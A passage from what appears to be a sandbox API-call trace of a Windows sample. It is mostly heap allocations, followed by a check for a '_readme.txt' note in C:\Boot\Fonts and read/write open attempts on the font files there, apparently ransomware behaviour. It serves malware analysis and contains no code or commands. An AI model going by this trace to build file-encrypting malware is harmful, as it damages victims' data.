HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.560] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.560] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.560] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.560] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.560] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.560] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.560] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.560] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.560] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.560] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.560] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.560] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.560] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.560] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.560] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.560] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.560] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.560] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.560] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.560] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.560] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.560] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.560] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.560] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.560] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.560] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.561] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.561] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.561] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.561] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.561] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.561] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.561] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.561] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.561] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.561] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.561] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.561] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.561] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.561] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.562] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.562] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.562] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.562] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.562] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.562] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.562] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.562] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.562] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.562] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.562] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.562] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.562] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.562] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.562] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.562] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.562] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.563] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.563] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.563] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.563] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.563] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.563] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.563] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.563] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.563] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.563] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.563] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.563] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.563] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.563] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.563] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.563] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.563] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.563] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.563] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.563] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.563] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.563] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.563] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.563] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.563] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.563] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.563] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.563] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.563] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.563] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.563] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.563] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.564] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.564] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.564] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.564] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.564] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.564] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.564] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.564] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.564] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.564] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.564] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.564] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.564] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.564] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.564] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.564] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.564] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.564] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.564] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.564] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.564] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.564] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.564] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.564] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.564] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.564] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.564] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.564] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.564] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.564] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.565] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.565] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.565] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.565] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.565] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.565] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.565] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.565] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.565] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.565] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.565] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.565] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.565] PathFindFileNameW (pszPath="C:\\Boot\\Fonts\\") returned="Fonts\\" [0059.565] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.565] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.565] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.565] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.565] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.565] PathFindFileNameW (pszPath="") returned="" [0059.565] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.565] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.566] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.566] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x800) returned 0x306a418 [0059.566] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.566] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c8ab8 [0059.566] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.566] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.566] PathAppendW (in: pszPath="C:\\Boot\\Fonts\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 1 [0059.567] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.567] PathFileExistsW (pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 1 [0059.567] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b17c90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b17c90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.567] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b17c90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b17c90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.567] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0059.567] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.567] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181a8 [0059.567] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\chs_boot.ttf") returned=".ttf" [0059.567] CreateFileW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.567] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0059.567] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.567] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181a8 [0059.567] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\cht_boot.ttf") returned=".ttf" [0059.567] CreateFileW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.568] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0059.568] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.568] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181a8 [0059.568] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\jpn_boot.ttf") returned=".ttf" [0059.568] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.568] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0059.568] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.568] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181a8 [0059.569] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\kor_boot.ttf") returned=".ttf" [0059.569] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.569] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0059.569] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.569] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181a8 [0059.569] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned=".ttf" [0059.569] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.569] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b17c90, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b17c90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b17c90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.569] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.569] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181a8 [0059.569] PathFindExtensionW (pszPath="C:\\Boot\\Fonts\\_readme.txt") returned=".txt" [0059.569] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: 